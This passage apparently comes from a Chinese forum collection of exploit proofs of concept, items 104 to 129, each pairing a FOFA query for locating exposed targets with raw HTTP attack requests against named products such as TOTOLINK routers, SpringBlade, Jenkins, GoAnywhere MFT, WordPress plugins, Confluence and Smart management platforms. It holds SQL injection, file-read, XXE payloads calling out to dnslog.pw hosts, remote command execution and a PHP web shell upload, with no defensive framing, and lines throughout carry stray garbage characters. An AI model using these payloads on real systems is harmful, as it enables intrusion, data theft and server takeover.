) H( f4 W( ~% Z8 V1 K- Y! T5 m% pSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
% i1 ^6 [$ w6 _2 H7 P+ Q( E

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
# G( {% O+ Q6 [1 l) k+ q0 X! s<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


* s* J! V6 \, G% v104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
3 R; y$ o! K% r5 U1 V" D  W$ vFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
( G" q+ ~; J, K3 U3 q# h% f9 IAccept:application/json,text/javascript，*/*;q=0.01
& Q  E; u0 n1 f7 Z: b" ~X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
1 N! J! J  u' y1 kContent-Type: application/x-www-form-urlencoded:charset=UTF-8
6 l" e9 }3 @9 F; P. zOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
  ?4 K1 [" q& }& s3 ?Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
; U8 P  `( e$ y# U- y( H$ }2 IConnection:close

{
' ~9 `1 F' s4 R3 C"topicurl":"getSysStatusCfg",
"token":""
}

8 E- i* y+ G* f( Z: t+ w( [8 R' V6 \105. SpringBlade v3.2.0 export-user SQL 注入
% @7 B2 [% m9 {6 V4 J4 Z" {FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
9 m( a1 n" W/ E7 h" u- V( t! o; `
106. SpringBlade dict-biz/list SQL 注入
8 q; L$ R( c7 D6 ]FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
# B) s& I0 A7 T. R( R1 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
2 ^- J% ?: o5 |" MAccept-Language: zh-CN,zh;q=0.9
/ Z: W& e& D/ A: @. e+ J) iConnection: close

9 w2 [, e, N; P8 R
0 w8 m/ @; m: K+ ]107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ O1 o' U& p8 `# q5 K# X( @6 oBlade-Auth:替换为自己的
1 r2 O: y4 R/ y: z0 [- zConnection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
7 c* U2 q6 O" k; T" I4 ?* kHost: your-ip
  L3 f; Q! c/ ^7 o8 l$ p% uAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* E; N+ j, _& \: D8 ~8 t0 R3 BAccept-Encoding: gzip, deflate
6 ^, H2 F2 |% C/ S+ i2 F! i) xAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

: I) _* v  r, j" Q7 U- b; ?' l# C
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
1 m; N- Y2 r0 d2 R1 v9 HContent-type: application/octet-stream
  ?& e9 f8 [" W  Q5 u- USession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ y/ |' ?0 T" I( }Side: upload
Connection: keep-alive
Content-Length: 163

5 q* V7 p% @' T2 c5 q& ^9 nb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

+ Z! a5 T9 X5 e+ h6 z" u- K% |; c
POST /cli?remoting=false HTTP/1.1
; C: K" f5 h" f; G! R7 v* |$ uHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
1 e4 J6 L; K8 j/ |download
' r8 [$ e9 O# S+ ZContent-Type: application/x-www-form-urlencoded
# I6 V6 z" o; T2 W# pContent-Length: 0


) g$ p. F- D$ b; n5 pERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
; z6 G* R. v+ `3 @8 A5 sjava -jar jenkins-cli.jar help
( s( X/ n! O, m' z6 \: y2 h; Q[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


2 l9 O5 B& T$ b- d( `110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
% W+ L% L( `4 KFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
' v0 d4 l' B& I- TAccept-Language: en
1 P$ o: x# H  a1 f) I6 x+ GAccept-Encoding: gzip
( X3 f: c& W; l. `# [5 m# A
% k9 q4 _& F$ `$ L6 b
111. WordPress Plugin HTML5 Video Player SQL注入
0 B# f( k2 t, k' T7 I0 gCVE-2024-1061
2 \3 g& \2 d$ y4 z, }FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
6 z, F; D+ M2 P8 c- r$ C+ xHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
2 J0 |: g2 f2 L  _) Y1 P- B: q- XAccept: */*
Accept-Language: en
$ Z7 o% F' Q3 J& [Accept-Encoding: gzip
! Z- `: b$ w  q: r- ^4 }

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
: u" X9 `8 \# j0 h4 BFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
" a( Y! Z/ b5 bContent-Type: application/json
& `0 r0 I  d) I+ ^! X6 C% |$ P
5 e" {- P2 Y3 Z" M{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
- e# b# O, Q, u" z! f% f8 w  ?% r

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
& U' y) H2 f9 t' |) }FOFA："/wp-content/plugins/wp-automatic"
( h. `$ c; v" l9 p  P/ hGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
# O! f2 I/ |& A4 gUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
8 F% i- l. i+ y$ {Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

0 c7 i% h- m2 q) l5 L1 |/ W8 x& }
7 {7 Q2 s1 j3 K, k4 x, R- k: u114. WordPress MasterStudy LMS插件 SQL注入
$ Z: r! a5 d7 b9 ZFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
/ D  b3 W8 U  n& C% zGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 ~" U5 ]) D& A) iAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
8 w1 E9 S, H3 y8 m0 ^Connection: close
/ I- c' b* ^0 q4 }

; a, {' X5 x2 K3 W5 e115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
$ k4 T& i8 r; o$ E' m/ ^% J) yFOFA: body="/wp-content/themes/bricks/"
0 Q6 I, E! T  g" D第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
+ w0 ]: a1 p3 f. mConnection: close
3 o! w. E, E; D& sAccept-Encoding: gzip
- r4 G' i$ O8 y: [. m

第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
: G5 Z2 ?7 b# f! }. tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
" D4 c# v" ]( W4 R- [2 |7 VContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

8 W) W0 W4 E8 r) h5 Z6 b{
2 r+ W6 M' {4 z/ e3 I; v# d3 X"postId": "1",
3 |) Z8 ]8 C  T+ K& l, g5 d  "nonce": "第一步获得的值",
  "element": {
& S; ~" f+ O+ d% l* u% d1 i6 q    "name": "container",
    "settings": {
9 @! s/ ^% V0 D8 p/ A4 Q+ c      "hasLoop": "true",
' u% m" z( G! _4 h( J4 r$ K$ {      "query": {
+ {' X2 _0 Q* T4 }# N# {- z9 v6 v        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  ]& O$ K2 j) \7 J+ D0 k  }
}


4 d+ c9 O4 r+ v; }/ O116. wordpress js-support-ticket文件上传
  |/ G0 s' ?+ z/ u) |6 V  wFOFA：body="wp-content/plugins/js-support-ticket"
9 m7 V$ R' M5 a9 z% JPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
& P  J8 |+ s. l9 ]% r$ {4 }Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
) @( Y% D' l7 a) i2 [7 u
; v; `4 w9 A( I  }/ i/ d/ N) ~----------767099171
" H( i8 ^2 ?! ~5 z0 u% IContent-Disposition: form-data; name="action"
$ n- Y  y7 N2 t- m6 H" V& M' Vconfiguration_saveconfiguration
( W) E& {/ k  S7 l6 X0 ]* q$ V----------767099171
; n( m  ^8 o, \1 I2 `3 N9 g  BContent-Disposition: form-data; name="form_request"
8 P8 Y0 Z8 S8 J# Gjssupportticket
0 g: Z: V: ~& n1 P) S% J* Y! O----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
- }4 s* L2 O3 C) a( c" i6 IContent-Type: image/png
----------767099171--


$ y8 n/ o8 o* }, ?( s117. WordPress LayerSlider插件SQL注入
2 Y( `% X' H8 y/ t+ Nversion：7.9.11 – 7.10.0
; i- l+ ]! c. AFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
; Z; T' l' i% `( @6 @. ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
7 d  j* p* o" g, |3 tUpgrade-Insecure-Requests: 1

; f6 M( h, ^: S- t2 C$ d
3 q3 x& S+ u6 {9 T/ C' ~1 k118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
  F: y2 V6 L! T8 V$ L& B2 _3 fFOFA：title="Smart管理平台"
- [" E# T; j* {( {* XPOST /Tool/uploadfile.php? HTTP/1.1
  {4 ]1 `( p3 _: H4 p4 [2 pHost: 192.168.40.130:8443
9 H2 O" `# m4 g+ {$ `! `Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 c4 l. B* |$ V7 [2 XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: y# G' o& e! T* rAccept-Encoding: gzip, deflate
/ O& D9 |% b5 d! N/ C! K5 e( pContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
/ H+ J7 }7 \9 P0 e4 D  v5 Q' lContent-Length: 405
Origin: https://192.168.40.130:8443
4 H' q+ g5 v$ y& {3 _7 i5 p/ a. S' ^Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- D2 |  d( T) A% j5 \; K0 g2 [" p2 aSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
5 O. |9 F- q* ]Connection: close
! q3 o5 z) n0 @+ t2 z
, J& v0 ^" i% y7 I  u5 b6 R% h2 T& @-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

5 `( b# A4 u/ d) @6 _<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
. a; k0 w" V- q( o; FContent-Disposition: form-data; name="txt_path"
+ g2 a; t( a% b( }& ^
/home/src.php
-----------------------------13979701222747646634037182887--
& I5 p. x7 I* K% e; D5 _) D
% }  ~/ @6 b$ c
访问/home/src.php
: m: k2 g7 l: c! X3 i
& B' @0 x) ^0 s2 n7 ^2 G119. 北京百绰智能S20后台sysmanageajax.php sql注入
3 j6 a7 v% O# S5 G3 p8 T+ |CVE-2024-1254
FOFA：title="Smart管理平台"
6 s' C) P9 \9 s0 ?先登录进入系统，默认账号密码为admin/admin
* G) S  o$ {6 M* J1 SPOST /sysmanage/sysmanageajax.php HTTP/1.11
; u# c* K6 m9 d) s0 b9 ~Host: x.x.x.x
" V$ H6 a% I2 k, y' vCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
! j7 A$ d5 R, @* B8 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 x& U/ h( h7 l; J5 R4 `$ I$ @, K; tAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
) T: u$ V* `2 LContent-Length: 109
0 E7 x- i( m6 _! f- eOrigin: https://58.18.133.60:8443
! {$ r+ b9 T3 c' H; o0 r# g8 fReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
& y% A6 m; I! T3 _3 I4 nSec-Fetch-Dest: empty
4 _4 I$ d% T: O+ F5 QSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
% D6 n# P9 [6 y5 h% YX-Forwarded-For: 1.1.1.1
$ X1 w6 ?; D; [( P  I+ z' U" Z* bX-Originating-Ip: 1.1.1.1
+ H3 p( T% F7 p) y: l% t' D8 ?X-Remote-Ip: 1.1.1.1
, w; r/ }, \, K+ p0 M* @X-Remote-Addr: 1.1.1.1
6 n4 o- t7 W" h: @$ p8 OTe: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
* @. j( J" ^+ P0 q% K0 v) iPOST /useratte/web.php? HTTP/1.1
Host: ip:port
) K) v# W% z. M* y7 C1 _Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
/ f! W/ J( E- s% P% [  Y7 E$ iUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
( ^0 v# h' M3 m0 @6 x5 {. L# rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 @6 u5 D% a+ X/ bContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
3 ?% r( K' u/ I! w* XContent-Length: 597
1 W& o1 }* t$ M3 {; L. _6 KOrigin: https://ip:port
6 Z- }4 [1 @* ]3 @/ h3 @) Q! VReferer: https://ip:port/sysmanage/licence.php
# x6 E: [  v5 j8 R- FUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
1 [, M3 V# S. DSec-Fetch-Mode: navigate
$ n) |+ y) g$ dSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
, F( O" V- x9 P! ITe: trailers
3 ?/ B! C8 }( |, SConnection: close
, X: B6 |, a% G, @4 M" d' u
2 }7 T& z4 k, r-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
) \. ?' Y: u4 e1 ?; \
2 @3 }8 h1 y" P1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
+ D5 u9 E3 ?) m3 h
8 X' z+ @) K* a& y/ f- K1 r# V1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328

% h% D+ c: i3 Z. W! t
文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
9 S4 Y- }  x4 a  w5 o5 x9 jCVE-2024-1918
. C" S6 `5 X& s8 h! |; CFOFA：title="Smart管理平台"
2 b7 m5 }) N$ c/ J9 Y- f+ H7 rPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
% z" g. Z& a( M, w: cUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* ~* o- {; j8 G! s% PAccept-Encoding: gzip, deflate
0 T3 F; J' V* u4 o" hContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
$ s' ^  z! d! r6 UContent-Length: 592
+ f8 a; ?! o; r9 |# ^0 QOrigin: https://192.168.40.130:8443
3 Q$ J9 _: A8 M8 g$ ~" B! s$ cUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
+ K1 O' f& K. ^" U. q4 Q; \6 D% kSec-Fetch-User: ?1
Te: trailers
Connection: close
, H' j+ x: Y, p7 {0 f- e. [
5 V1 G' R7 D7 e8 K3 H" R# W-----------------------------42328904123665875270630079328
/ d) j3 X' m5 z, `Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
: J9 j2 Y4 E- C* J0 {0 X
* |  v, ^2 }0 z8 {<?php phpinfo();?>
- ~4 W  U1 I7 ?-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
8 ]. J* l8 s. K8 k  r' ]+ w
  S$ n& [& p  P( w2 r1
7 B" r: a, c5 N! v# O-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
) N% z6 M  e1 O9 K/ H
1_radhttp
# y1 X, g- E# l, V. ?5 y-----------------------------42328904123665875270630079328
9 |: n7 V) {  ^, G3 LContent-Disposition: form-data; name="hidwel"
5 e. T2 x! l- J* b' L: u+ R  I
3 \/ O, A4 C8 Tset
; X5 N3 P+ }0 G% H0 W! }-----------------------------42328904123665875270630079328


boot/web/upload/weblogo/1.php
# ~) f8 z0 r6 Q4 s! q
122. 北京百绰智能s200管理平台/importexport.php sql注入
( z" b$ R8 o7 w. {CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
  w5 W! v3 H$ g3 X1 s$ P# \. F0 MCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
- e. {: I) P. F+ ]: D0 A' SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 f/ Q- G2 C/ J; G7 w6 u4 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* _: b4 o/ l: a% N/ cUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
( x8 m9 d* v- k6 w4 @Sec-Fetch-Mode: navigate
1 G7 t% i; c6 g6 w5 VSec-Fetch-Site: none
Sec-Fetch-User: ?1
( [6 E, E8 N) p8 \Te: trailers
Connection: close
, n2 _' l1 G7 o- n, w8 a
" a- C' t% _2 s
  O6 R0 w( d* b123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
* r. i7 I/ O/ C4 |- oAccept: */*
4 O, q8 Y" l! Z1 O2 W+ X+ A4 E) TAccept-Language: en-US;q=0.9,en;q=0.8
$ G! ]$ c& v% o: v8 b) ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

; |6 h9 c8 L7 u: R0 Ylabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
6 K) P# \; p) h5 _3 [/ ^8 _9 H9 F7 n
5 ^8 y( e7 R' S4 p- k3 g. Q
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
& o7 N2 U  ^" J$ g2 x/ c* CUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
8 k- I1 R9 [9 t. M# y  vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
. a' N7 C1 K6 i& TAccept-Encoding: gzip, deflate, br
0 |* y0 X% W; P# {' fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: t9 n% e& x& n6 V: OConnection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx

( R3 g7 x- h4 V, L$ g3 c6 c7 ~125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
$ s8 H$ i- A: B& w) a/ Y

使用方法
' b- R) s/ b% L: P3 c: H/ m9 Xpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

, T. |* X0 F, N9 S
) F. }+ u% b1 f+ W! J( g  X创建好用户后直接登录后台，可以执行系统命令。
. c, f. q$ `# O" J1 j6 y6 m" }
126. Aiohttp 路径遍历
2 L8 [; a7 h; w' t+ G8 P/ m5 F- rFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
* n8 a2 i; U5 r1 C, \2 xConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
- {( k7 v  Z& W1 h! d* Y

: K& r- _1 p0 o/ F' v3 ^127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
& j, |5 }  T$ F; M" ?4 KPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
+ B2 b+ l9 s! I7 JHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
1 m/ ~3 x& t8 ]Content-Length: 415
* Q' C/ o) r+ u0 i$ v* i. @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ g' m0 V1 b6 f9 s1 ]) Q. a' V6 tAccept-Language: zh-CN,zh;q=0.9
- l) _8 B) ^" J4 u6 TConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
8 B; a' x* S, P5 q. K+ R/ @
; J/ q/ c+ Y0 @3 @------WebKitFormBoundaryJGgV5l5ta05yAIe0
4 v/ w2 h3 l. g8 K2 x, uContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
8 v0 m7 k; }7 lContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
# P5 F7 d( Z: N+ W; w/ E" y<!DOCTYPE test [
5 e1 z- ?2 C6 u6 {( {# e% q3 v<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
3 [6 `6 I+ X3 Z( K; o/ f]
>
$ k# u  Z0 V5 Q! W/ ^( v7 S" s<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

* [+ S2 Q# f, J( A
/ p4 l) x( @* m( o$ U% b
; L  n3 p/ Y8 F6 }, N128. Adobe ColdFusion 反序列化
CVE-2023-38203
' W$ v6 i$ P; c, ?1 c* QAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
! r8 I5 T4 a1 C3 d' s" S  [. mFOFA：app="Adobe-ColdFusion"
# s' x3 d2 a! p) E( k% B' @PAYLOAD
* {" h6 P$ r/ l4 `
129. Adobe ColdFusion 任意文件读取
+ q+ Z1 [. I% ?CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
